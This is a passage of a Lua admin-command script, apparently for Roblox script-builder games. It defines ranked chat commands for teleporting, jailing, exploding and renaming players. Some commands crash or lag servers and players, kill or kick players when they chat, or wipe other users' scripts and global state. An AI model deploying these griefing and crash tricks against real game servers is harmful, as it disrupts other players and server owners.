  2372. Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2373. end)
  2374. end
  2375. Output("ALL",Data.Color,Speaker,nil,function()
  2376. RemoveTablets(Speaker)
  2377. for _,v in pairs(NOVA.Commands) do
  2378. if GetRank(Speaker) >= v.Rank then
  2379. Output(v.Name,Data.Color,Speaker,nil,function()
  2380. RemoveTablets(Speaker)
  2381. Output("Name : "..v.Name,Data.Color,Speaker)
  2382. Output("Rank : "..v.Rank,Data.Color,Speaker)
  2383. Output("Command : "..v.Command,Data.Color,Speaker)
  2384. Output("Arguments : "..v.Args,Data.Color,Speaker)
  2385. Output("Description : "..v.Description,Data.Color,Speaker)
  2386. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2387. end)
  2388. end
  2389. end
  2390. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2391. Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2392. end)
  2393. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2394. end
  2395. )
  2396.  
  2397. AddCommand("Disconnect","disconnect",6,"Disconnects the selected player.","No Arguments",
  2398. function(Msg,Speaker)
  2399. Instance.new("ManualSurfaceJointInstance",workspace)
  2400. end
  2401. )
  2402.  
  2403. AddCommand("Lag","lag",6,"lags the selected player.","<Player>",
  2404. function(Msg,Speaker)
  2405. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2406. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2407. Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2408. else
  2409. pcall(function()
  2410. Lag(v)
  2411. end)
  2412. end
  2413. end
  2414. end
  2415. )
  2416.  
  2417.  
  2418. AddCommand("PRI","pri",6,"view the PRI settings.","No Arguments",
  2419. function(Msg,Speaker)
  2420. RemoveTablets(Speaker)
  2421. Output("List","Random",Speaker,nil,
  2422. function()
  2423. RemoveTablets(Speaker)
  2424. for _,v in pairs(NOVA.Ranked) do
  2425. if v.InPRI == true then
  2426. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,function()
  2427. RemoveTablets(Speaker)
  2428. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2429. end)
  2430. end
  2431. end
  2432. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2433. end
  2434. )
  2435.  
  2436. Output("Type","Random",Speaker,nil,
  2437. function()
  2438. RemoveTablets(Speaker)
  2439. Output("Kick",NOVA.Colors.Orange,Speaker,nil,
  2440. function()
  2441. NOVA.PRIType = "Kick"
  2442. RemoveTablets(Speaker)
  2443. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2444. end
  2445. )
  2446. Output("Lag",NOVA.Colors.Red,Speaker,nil,
  2447. function()
  2448. NOVA.PRIType = "Lag"
  2449. RemoveTablets(Speaker)
  2450. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2451. end
  2452. )
  2453. Output("Shutdown",NOVA.Colors.Orange,Speaker,nil,
  2454. function()
  2455. NOVA.PRIType = "Shutdown"
  2456. RemoveTablets(Speaker)
  2457. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2458. end
  2459. )
  2460. Output("Crash",NOVA.Colors.Orange,Speaker,nil,
  2461. function()
  2462. NOVA.PRIType = "Crash"
  2463. RemoveTablets(Speaker)
  2464. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2465. end
  2466. )
  2467. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2468. end
  2469. )
  2470. Output("Turn PRI On",NOVA.Colors.Red,Speaker,nil,
  2471. function()
  2472. NOVA.PRI = true
  2473. RemoveTablets(Speaker)
  2474. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2475. end
  2476. )
  2477.  
  2478. Output("Turn PRI Off",NOVA.Colors.Green,Speaker,nil,
  2479. function()
  2480. NOVA.PRI = false
  2481. RemoveTablets(Speaker)
  2482. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2483. end
  2484. )
  2485.  
  2486. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2487. end
  2488. )
  2489.  
  2490. --[[ GET COMMANDS ]]--
  2491.  
  2492. AddCommand("Get Ranked","getranked",0,"Displays all the current players ranks.","No Arguments",
  2493. function(Msg,Speaker)
  2494. if #Msg == 0 or Msg == nil then
  2495. RemoveTablets(Speaker)
  2496. for _,v in pairs(NOVA.Ranks) do
  2497. local RankNumber = v[1]
  2498. local RankName = v[2]
  2499. Output(RankName.." ("..(RankNumber)..")",Color3.new((RankNumber)/10,(RankNumber)/10,(RankNumber)/10),Speaker,nil,
  2500. function()
  2501. RemoveTablets(Speaker)
  2502. for _,v in pairs(GetPlayersRaw()) do
  2503. if GetRank(v) == RankNumber then
  2504. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
  2505. function()
  2506. PlayerInterface(v,Speaker)
  2507. end
  2508. )
  2509. end
  2510. end
  2511. Output("Done",NOVA.Colors.Blue,Speaker,nil,
  2512. function()
  2513. OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  2514. end
  2515. )
  2516. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2517. end
  2518. )
  2519. end
  2520. Output("ALL",NOVA.Colors.Blue,Speaker,nil,
  2521. function()
  2522. RemoveTablets(Speaker)
  2523.  
  2524. for _,v in pairs(GetPlayersRaw()) do
  2525. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
  2526. function()
  2527. PlayerInterface(v,Speaker)
  2528. end
  2529. )
  2530. end
  2531.  
  2532. Output("Done",NOVA.Colors.Blue,Speaker,nil,
  2533. function()
  2534. OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  2535. end
  2536. )
  2537. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2538. end
  2539. )
  2540. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2541. else
  2542. PlayerInterface(GetPlayers(Msg,Speaker)[1],Speaker)
  2543. end
  2544. end
  2545. )
  2546.  
  2547. AddCommand("Set Description","setdesc",6,"Sets the selected player's description.","<Player><Description>",
  2548. function(Msg,Speaker)
  2549. Split = GetSplit(Msg)
  2550. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2551. GetRankedTable(v).Desc = Msg:sub(Split+1)
  2552. SyncRankOutSingular(v)
  2553. end
  2554. end
  2555. )
  2556.  
  2557. AddCommand("Get CMD","getcmd",0,"Toggles the CMD bar on your screen.","<BoolValue>",
  2558. function(Msg,Speaker)
  2559. if Msg == "true" then
  2560. GetRankedTable(Speaker).CMD = true
  2561. elseif Msg == "false" then
  2562. GetRankedTable(Speaker).CMD = false
  2563. pcall(function() Speaker.PlayerGui:FindFirstChild("NOVACMD"):Remove() end)
  2564. else Output("Please choose a proper bool value. ( true / false )",NOVA.Colors.Orange,Speaker,5)
  2565. end
  2566. SyncRankOutSingular(Speaker)
  2567. end
  2568. )
  2569.  
  2570. AddCommand("Get Build Tools","getbtools",1,"Gives the speaker building tools.","No Arguments",
  2571. function(Msg,Speaker)
  2572. pcall(function()
  2573. for i=1,4 do
  2574. Instance.new("HopperBin",Speaker.Backpack).BinType = i
  2575. end
  2576. end)
  2577. end
  2578. )
  2579.  
  2580. AddCommand("Get Reset","getreset",0,"Resets the speaker's character.","No Arguments",
  2581. function(Msg,Speaker)
  2582. pcall(function()
  2583. Speaker:LoadCharacter()
  2584. end)
  2585. end
  2586. )
  2587.  
  2588. AddCommand("Get Fixed Character Appearance","get/fixchar",0,"Fixes the Speaker's character appearance.","No Arguments",
  2589. function(Msg,Speaker)
  2590. Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
  2591. end
  2592. )
  2593.  
  2594. AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
  2595. function(Msg,Speaker)
  2596. pcall(function()
  2597. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2598. for i=1,4 do
  2599. Instance.new("HopperBin",Speaker.Backpack).BinType = i
  2600. end
  2601. end
  2602. end)
  2603. end
  2604. )
  2605.  
  2606. AddCommand("Set Rank","setrank",0,"Allows you to change the rank of others.","<Player><Rank>",
  2607. function(Msg,Speaker)
  2608. local Split = GetSplit(Msg)
  2609. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2610. if GetRank(Speaker) > GetRank(v) then
  2611. if tonumber(Msg:sub(Split+1)) > GetRank(Speaker) then
  2612. Output("You cannot set a rank that high.",NOVA.Colors.Orange,Speaker,5)
  2613. else
  2614. GetRankedTable(v).Rank = tonumber(Msg:sub(Split+1))
  2615. SyncRankOutSingular(v)
  2616. end
  2617. end
  2618. end
  2619. end
  2620. )
  2621.  
  2622. AddCommand("Teleport","tp",2,"Teleports one player to another.","<Player><Player>",
  2623. function(Msg,Speaker)
  2624.  
  2625. Split = GetSplit(Msg)
  2626. send = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
  2627. to = GetPlayers(string.sub(Msg,Split+1),Speaker)
  2628. for _,a in pairs(send) do
  2629. for _,b in pairs(to) do
  2630. pcall(function()
  2631. a.Character.Torso.CFrame = b.Character.Torso.CFrame
  2632. end)
  2633. end
  2634. end
  2635.  
  2636. end
  2637. )
  2638.  
  2639. AddCommand("Circle Teleport","ctp",2,"Teleports one player to another.","<Player><Player>",
  2640. function(Msg,Speaker)
  2641.  
  2642. Split = GetSplit(Msg)
  2643. send = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
  2644. to = GetPlayers(string.sub(Msg,Split+1),Speaker)[1]
  2645. for i, player in pairs(send) do
  2646. pcall(function()
  2647. player.Character.Torso.CFrame = CFrame.new(to.Character.Torso.Position)
  2648. * CFrame.Angles(0, math.rad(i * 360 / #send), 0)
  2649. * CFrame.new(0, 0, 3 + (#send*2) )
  2650. end)
  2651. end
  2652. end
  2653. )
  2654.  
  2655. AddCommand("Walkspeed","ws",2,"Sets the selected player walkspeed to the following number.","<Player><Number>",
  2656. function(Msg,Speaker)
  2657. Split = GetSplit(Msg)
  2658. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2659. pcall(function() v.Character.Humanoid.WalkSpeed = tonumber(Msg:sub(Split+1)) end)
  2660. end
  2661. end
  2662. )
  2663.  
  2664. AddCommand("Explode","expl",2,"Explodes the selected player.","<Player>",
  2665. function(Msg,Speaker)
  2666. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2667. pcall(function()
  2668. v.Character:BreakJoints()
  2669. E = Instance.new("Explosion",NOVA.Services.Workspace)
  2670. E.Position = v.Character.Torso.Position
  2671. E.BlastPressure = 124000
  2672. end)
  2673. end
  2674. end
  2675. )
  2676.  
  2677. AddCommand("Infinite Health","inf",2,"Sets the selected player health to math.huge.","<Player>",
  2678. function(Msg,Speaker)
  2679. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2680. pcall(function()
  2681. v.Character.Humanoid.MaxHealth = math.huge
  2682. end)
  2683. end
  2684. end
  2685. )
  2686.  
  2687. AddCommand("God","god",2,"makes the selected player god.","<Player>",
  2688. function(Msg,Speaker)
  2689. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2690. pcall(function()
  2691. v.Character.Torso.Touched:connect(function(part)
  2692. if not part:IsDescendantOf(v.Character) and not part.Anchored == true and part ~= Crown then
  2693. part.CanCollide = true
  2694. part:BreakJoints()
  2695. for i=1,3 do Instance.new("Fire",part).Color = Color3.new(255,255,255) end
  2696. end
  2697. end)
  2698. end)
  2699. end
  2700. end
  2701. )
  2702.  
  2703. AddCommand("Punish","punish",2,"Reparents the selected player's character parent lighting.","<Player>",
  2704. function(Msg,Speaker)
  2705. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2706. pcall(function()
  2707. v.Character.Parent = NOVA.Services.Lighting
  2708. end)
  2709. end
  2710. end
  2711. )
  2712.  
  2713. AddCommand("Un Punish","unpunish",2,"Reparents the selected player's character parent workspace.","<Player>",
  2714. function(Msg,Speaker)
  2715. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2716. pcall(function()
  2717. v.Character.Parent = NOVA.Services.Workspace
  2718. v.Character:MakeJoints()
  2719. pcall(function() v.Character.Animate.Disabled = false end)
  2720. end)
  2721. end
  2722. end
  2723. )
  2724.  
  2725. AddCommand("Freeze","freeze",2,"Anchor the selected player('s/s') character('s).","<Player>",
  2726. function(Msg,Speaker)
  2727. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2728. pcall(function()
  2729. for _,part in pairs(v.Character:GetChildren()) do
  2730. pcall(function()
  2731. part.Anchored = true
  2732. end)
  2733. end
  2734. end)
  2735. end
  2736. end
  2737. )
  2738.  
  2739. AddCommand("Thaw","thaw",2,"Un anchor the selected player('s/s') character('s).","<Player>",
  2740. function(Msg,Speaker)
  2741. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2742. pcall(function()
  2743. for _,part in pairs(v.Character:GetChildren()) do
  2744. pcall(function()
  2745. part.Anchored = false
  2746. end)
  2747. end
  2748. end)
  2749. end
  2750. end
  2751. )
  2752.  
  2753. AddCommand("Remove Tools","rtools",2,"Removes the selected player tools.","<Player>",
  2754. function(Msg,Speaker)
  2755. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2756. pcall(function()
  2757. for _,part in pairs(v.Backpack:GetChildren()) do
  2758. part:Destroy()
  2759. end
  2760. end)
  2761. end
  2762. end
  2763. )
  2764.  
  2765. AddCommand("Remove Backpack","rbp",2,"Removes the selected player backpack.","<Player>",
  2766. function(Msg,Speaker)
  2767. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2768. pcall(function()
  2769. v.Backpack:Destroy()
  2770. end)
  2771. end
  2772. end
  2773. )
  2774.  
  2775. AddCommand("Sit","sit",2,"Makes the selected player sit down.","<Player>",
  2776. function(Msg,Speaker)
  2777. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2778. pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2779. pcall(function() v.Character.Humanoid.Sit = true end)
  2780. end
  2781. end
  2782. )
  2783.  
  2784. AddCommand("Stand","stand",2,"Makes the selected player stand up.","<Player>",
  2785. function(Msg,Speaker)
  2786. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2787. pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2788. pcall(function() v.Character.Humanoid.Sit = false end)
  2789. end
  2790. end
  2791. )
  2792.  
  2793. AddCommand("Jump","jump",2,"Makes the selected player jump.","<Player>",
  2794. function(Msg,Speaker)
  2795. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2796. pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2797. pcall(function() v.Character.Humanoid.Jump = true end)
  2798. end
  2799. end
  2800. )
  2801.  
  2802. AddCommand("Control","control",2,"Controls the selected player","<Player>",
  2803. function(Msg,Speaker)
  2804. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2805. pcall(function()
  2806. Speaker.Character = v.Character
  2807. end)
  2808. end
  2809. end
  2810. )
  2811.  
  2812. AddCommand("Transparent","trans",2,"Makes the selected player transparent","<Player>",
  2813. function(Msg,Speaker)
  2814. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2815. pcall(function()
  2816. for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  2817. coroutine.resume(coroutine.create(function()
  2818. for i=1,10 do
  2819. wait()
  2820. v.Transparency = v.Transparency + 0.1
  2821. end
  2822. end))
  2823. end
  2824. end)
  2825. end
  2826. end
  2827. )
  2828.  
  2829. AddCommand("Visible","visible",2,"Makes the selected player visible.","<Player>",
  2830. function(Msg,Speaker)
  2831. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2832. pcall(function()
  2833. for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  2834. coroutine.resume(coroutine.create(function()
  2835. for i=1,10 do
  2836. wait()
  2837. v.Transparency = v.Transparency - 0.1
  2838. end
  2839. end))
  2840. end
  2841. end)
  2842. end
  2843. end
  2844. )
  2845.  
  2846. AddCommand("Remove Hats","rhats",2,"Remove the hat of the selected player.","<Player>",
  2847. function(Msg,Speaker)
  2848. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2849. pcall(function()
  2850. for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Hat") then part:Remove() end end
  2851. end)
  2852. end
  2853. end
  2854. )
  2855.  
  2856. AddCommand("Remove Humanoid","rhum",2,"Remove the humanoid of the selected player.","<Player>",
  2857. function(Msg,Speaker)
  2858. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2859. pcall(function()
  2860. for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Humanoid") then part:Remove() end end
  2861. end)
  2862. end
  2863. end
  2864. )
  2865.  
  2866. AddCommand("Jail","jail",2,"Puts the selected player in jail.","<Player>",
  2867. function(Msg,Speaker)
  2868. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2869. pcall(function()
  2870. coroutine.resume(coroutine.create(function()
  2871. local MainCF = v.Character.Torso.CFrame
  2872. local Main = Instance.new("Model",workspace)
  2873. Main.Name = "Main"
  2874. table.insert(NOVA.Jails,{Jail = Main, Player = v,Speaker = Speaker})
  2875. for Pitch = 1, 360, 360 do
  2876. for Yaw = 1, 360, 360/13 do
  2877. for Angle = 1,180, 8 do
  2878. local Part = Instance.new("Part",Main)
  2879. Part.Name = "Part"
  2880. Part.FormFactor = "Custom"
  2881. Part.TopSurface = "Smooth"
  2882. Part.BottomSurface = "Smooth"
  2883. Part.Reflectance = 0
  2884. Part.Transparency = 0
  2885. Part.Anchored = true
  2886. Part.Locked = true
  2887. Part.CanCollide = true
  2888. Part.BrickColor = BrickColor.new("Navy blue")
  2889. Part.Size = Vector3.new(2,1,4)
  2890. Part.CFrame = MainCF
  2891. * CFrame.Angles(math.rad(Pitch),math.rad(Yaw),math.rad(Angle))
  2892. * CFrame.new(0,5,0)
  2893. local Mesh = Instance.new("BlockMesh",Part)
  2894. Mesh.Scale = Vector3.new(1,1,0.1)
  2895. if math.floor(Angle/5) == Angle/5 then
  2896. wait()
  2897. end
  2898. end
  2899. end
  2900. end
  2901.  
  2902. v.Character.Torso.CFrame = MainCF
  2903.  
  2904. while Main.Parent ~= nil do
  2905. wait()
  2906. pcall(function()
  2907. if (v.Character.Torso.CFrame.p - MainCF.p).magnitude > 6 then
  2908. v.Character.Torso.CFrame = MainCF
  2909. end
  2910. end)
  2911. end
  2912. end))
  2913. end)
  2914. end
  2915. end
  2916. )
  2917.  
  2918. AddCommand("Un Jail","unjail",2,"Un jails the selected player.","<Player>",
  2919. function(Msg,Speaker)
  2920. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2921. for Num,Jail in pairs(NOVA.Jails) do
  2922. if Jail.Player ~= nil and Jail.Player == v then
  2923. pcall(function() Jail.Jail:Destroy() end)
  2924. table.remove(NOVA.Jails,Num)
  2925. end
  2926. end
  2927. end
  2928. end
  2929. )
  2930.  
  2931. AddCommand("NOVA Clear","NOVA",6,"Clears the game.","No Arguments",
  2932. function(Msg,Speaker)
  2933. for i,v in pairs(_G) do
  2934. if type(v) == "function" and getfenv(v).NOVA == nil then
  2935. for var,val in pairs(getfenv(v)) do
  2936. pcall(function() getfenv(v)[var] = nil end)
  2937. end
  2938. end
  2939. end
  2940. for i,v in pairs(_G) do
  2941. _G[i] = nil
  2942. end
  2943. SetGlobals()
  2944. for _,v in pairs(NOVA.Services) do
  2945. v.Name = "Unknown Exception"
  2946. end
  2947. for i,v in pairs(GetRecursiveChildren()) do
  2948. pcall(function()
  2949. if not v:IsA("Player") then
  2950. pcall(function()
  2951. if Prometheus ~= nil and v == Prometheus.script("lushmylife") then
  2952. else
  2953. pcall(function()
  2954. v.Disabled = true
  2955. end)
  2956. pcall(function()
  2957. NOVA.Services.Debris:AddItem(v,0)
  2958. end)
  2959. end
  2960. end)
  2961. end
  2962. end)
  2963. end
  2964. for _,v in pairs(NOVA.Services) do
  2965. v.Name = v.className
  2966. end
  2967. local Base=Instance.new("Part",NOVA.Services.Workspace)
  2968. Base.Name="Base"
  2969. Base.Size=Vector3.new(2048,1,2048)
  2970. Base.BrickColor=BrickColor.new("Bright green")
  2971. Base.Anchored=true
  2972. Base.Locked=true
  2973. Base.TopSurface="Smooth"
  2974. Base.Transparency = 1
  2975. Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  2976. local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
  2977. Spawn.Size=Vector3.new(6,1,6)
  2978. Spawn.Transparency=1
  2979. Spawn.CanCollide=false
  2980. Spawn.Anchored=true
  2981. Spawn.Locked=true
  2982. Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
  2983. for _,v in pairs(GetPlayersRaw()) do v:LoadCharacter() end
  2984. end
  2985. )
  2986.  
  2987. AddCommand("ChangeTeam","changeteam",3,"Change the current team of the selected player.","<Player><TeamName>",
  2988. function (Msg,Speaker)
  2989. Split = GetSplit(Msg)
  2990. for _,v in pairs(GetPlayers(string.sub(Msg,1,Split - 1),Speaker)) do
  2991. pcall(function()
  2992. Team = nil
  2993. for _,find in pairs(NOVA.Services.Teams:GetChildren()) do
  2994. if string.sub(find.Name:lower(),1,#string.sub(Msg,Split+1)) == string.lower(string.sub(Msg,Split+1)) then
  2995. Team = find
  2996. end
  2997. end
  2998. v.TeamColor = Team.TeamColor
  2999. end)
  3000. end
  3001. end
  3002. )
  3003.  
  3004. AddCommand("Teams Remove","rteam",6,"Part of teams commands.","No Arguments",
  3005. function(Msg,Speaker)
  3006. RemoveTablets(Speaker)
  3007. for _,v in pairs(NOVA.Services.Teams:GetChildren()) do
  3008. if string.sub(v.Name:lower(),1,#Msg) == Msg:lower() then
  3009. v:Remove()
  3010. end
  3011. end
  3012. end
  3013. )
  3014.  
  3015. AddCommand("Teams Add","newteam",6,"Part of teams commands.","<Name>",
  3016. function(Msg,Speaker)
  3017. Split = GetSplit(Msg)
  3018. Team = Instance.new("Team",NOVA.Services.Teams)
  3019. Team.TeamColor = BrickColor.new(Msg:sub(Split+1))
  3020. Team.Name = Msg:sub(1,Split-1)
  3021. Team.AutoAssignable = false
  3022. Team.Neutral = false
  3023. end
  3024. )
  3025.  
  3026. AddCommand("Kill Talk","killtalk",6,"Kills the selected player when they talk.","<Players>",
  3027. function(Msg,Speaker)
  3028. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3029. v.Chatted:connect(function() pcall(function() v.Character:BreakJoints() end) end)
  3030. end
  3031. end
  3032. )
  3033.  
  3034. AddCommand("Hoverseat","hoverseat",7,"Gives that player a hoverseat","<Players>",
  3035. function(Msg,Speaker)
  3036. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3037.  
  3038. local ride = Instance.new("VehicleSeat", Workspace)
  3039. ride.Position = v.Character.Torso.Position
  3040. ride.HeadsUpDisplay = false
  3041. ride.Size = Vector3.new(3,3,3)
  3042. local bg = Instance.new("BodyGyro", ride)
  3043. bg.maxTorque = Vector3.new(1e10,1e10,1e10)
  3044. local bp = Instance.new("BodyPosition", ride)
  3045. bp.position = v.Character.Torso.Position
  3046. bp.maxForce = Vector3.new(1e10,1e10,1e10)
  3047. Mesh = Instance.new("SpecialMesh")
  3048. Mesh.Parent = ride
  3049. Mesh.MeshType = Enum.MeshType.Sphere
  3050. ride.Transparency = 0.40000000596046
  3051.  
  3052. while wait() do
  3053. bg.cframe = bg.cframe * CFrame.Angles(0,math.pi/60*(-ride.Steer),0)
  3054. bp.position = bp.position + bg.cframe.lookVector*ride.Throttle
  3055. end
  3056.  
  3057. end
  3058. end
  3059. )
  3060.  
  3061.  
  3062.  
  3063. AddCommand("Kick Talk","kicktalk",6,"Kicks the player when they talk.","<Players>",
  3064. function(Msg,Speaker)
  3065. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3066. v.Chatted:connect(function() pcall(function() v:Destroy() end) end)
  3067. end
  3068. end
  3069. )
  3070.  
  3071. AddCommand("Clear","clear",2,"Clears the workspace of its contents.","No Arguments",
  3072. function(Msg,Speaker)
  3073. for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
  3074. if Prometheus ~= nil then
  3075. if v ~= Prometheus.script("lushmylife") then
  3076. pcall(function()
  3077. v:Destroy()
  3078. end)
  3079. end
  3080. else
  3081. pcall(function()
  3082. v:Destroy()
  3083. end)
  3084. end
  3085. end
  3086.  
  3087. local Base=Instance.new("Part",NOVA.Services.Workspace)
  3088. Base.Name="Base"
  3089. Base.Size=Vector3.new(2048,1,2048)
  3090. Base.BrickColor=BrickColor.new("Dark green")
  3091. Base.Anchored=true
  3092. Base.Locked=true
  3093. Base.TopSurface="Studs"
  3094. Base.Transparency = 0
  3095. Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  3096. local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
  3097. Spawn.Size=Vector3.new(6,1,6)
  3098. Spawn.Transparency=1
  3099. Spawn.CanCollide=false
  3100. Spawn.Anchored=true
  3101. Spawn.Locked=true
  3102. Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
  3103. for _,v in pairs(GetPlayersRaw()) do
  3104. v:LoadCharacter()
  3105. end
  3106.  
  3107. end
  3108. )
  3109.  
  3110. AddCommand("Explorer","explorer",6,"Lists the children of workspace.","No Arguments",
  3111. function(Msg,Speaker)
  3112. RemoveTablets(Speaker)
  3113. Explore(game,Speaker)
  3114. end
  3115. )
  3116.  
  3117. AddCommand("Lock Scripts","lockscripts",6,"Lets you toggle the script lock.","No Arguments",
  3118. function(Msg,Speaker)
  3119. if NOVA.LockedScripts == true then
  3120. NOVA.LockedScripts = false
  3121. elseif NOVA.LockedScripts == false then
  3122. NOVA.LockedScripts = true
  3123. end
  3124.  
  3125. end
  3126. )
  3127.  
  3128. AddCommand("Troll Explode","trollexpl",3,"Explodes the selected player in a group of trolls.","<Players>",
  3129. function(Msg,Speaker)
  3130. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3131. for i=1,25 do
  3132. coroutine.resume(coroutine.create(function()
  3133. wait()
  3134. local Part = Instance.new("Part",NOVA.Services.Workspace)
  3135. Part.FormFactor = "Custom"
  3136. Part.Transparency = 1
  3137. Part.CanCollide = false
  3138. Part.Anchored = false
  3139. Part.Locked = true
  3140. Part.Size = Vector3.new(1,1,1)
  3141. Part.CFrame = v.Character.Head.CFrame
  3142. Part:BreakJoints()
  3143.  
  3144. local BBG = Instance.new("BillboardGui",Part)
  3145. BBG.Adornee = Part
  3146. BBG.Size = UDim2.new(3,0,1,0)
  3147. --BBG.StudsOffset = Vector3.new(0, 0, 1)
  3148.  
  3149. local Img = Instance.new("ImageLabel",BBG)
  3150. Img.Size = UDim2.new(1,0,1,0)
  3151. Img.BackgroundTransparency = 1
  3152. Img.Image = "http://www.roblox.com/asset/?id=45120559"
  3153.  
  3154. local BP = Instance.new("BodyPosition",Part)
  3155. BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  3156. --BP.D = 2000
  3157. BP.P = 1000
  3158. BP.position = Part.Position + Vector3.new(
  3159. math.random(-7,7),
  3160. math.random(-7,7),
  3161. math.random(-7,7))
  3162.  
  3163. for v = 3,0,-0.1 do
  3164. wait(0.1)
  3165. BBG.Size = UDim2.new(v,0,v,0)
  3166. end
  3167. Part:Remove()
  3168. end))
  3169. end
  3170. end
  3171. end
  3172. )
  3173.  
  3174. AddCommand("Cancel","cancel",3,"Cancels all running command loops.","No Arguments",
  3175. function(Msg,Speaker)
  3176. NOVA.Canceled = true
  3177. end
  3178. )
  3179.  
  3180. AddCommand("Name","name",3,"Lets you re-name a player anything.","<Player><Name>",
  3181. function(Msg,Speaker)
  3182. Split = GetSplit(Msg)
  3183. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3184. pcall(function()
  3185. local OldHead = v.Character.Head
  3186. local Model = Instance.new("Model",v.Character.Head)
  3187. Model.Name = Msg:sub(Split+1)
  3188. local Head = OldHead:Clone()
  3189. Head.Parent = Model
  3190. Head.Transparency = 0
  3191. Head.Name = "Head"
  3192. Head.CanCollide = false
  3193. local Hum = Instance.new("Humanoid",Model)
  3194. Hum.MaxHealth = 0
  3195. local Weld = Instance.new("Weld",Head)
  3196. Weld.Part0 = Head
  3197. Weld.Part1 = OldHead
  3198. Weld.C0 = CFrame.new(0,0,0)
  3199. OldHead.Transparency = 1
  3200. end)
  3201. end
  3202. end
  3203. )
  3204.  
  3205. AddCommand("Secret Name","sname",3,"Lets you re-name a player anything.","<Player><Name>",
  3206. function(Msg,Speaker)
  3207. Split = GetSplit(Msg)
  3208. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3209. pcall(function()
  3210. local Char = v.Character
  3211. Char.Archivable = true
  3212. Char = Char:Clone()
  3213. Char.Name = Msg:sub(Split+1)
  3214. v.Character:Destroy()
  3215. Char.Parent = workspace
  3216. v.Character = Char
  3217. end)
  3218. end
  3219. end
  3220. )
  3221.  
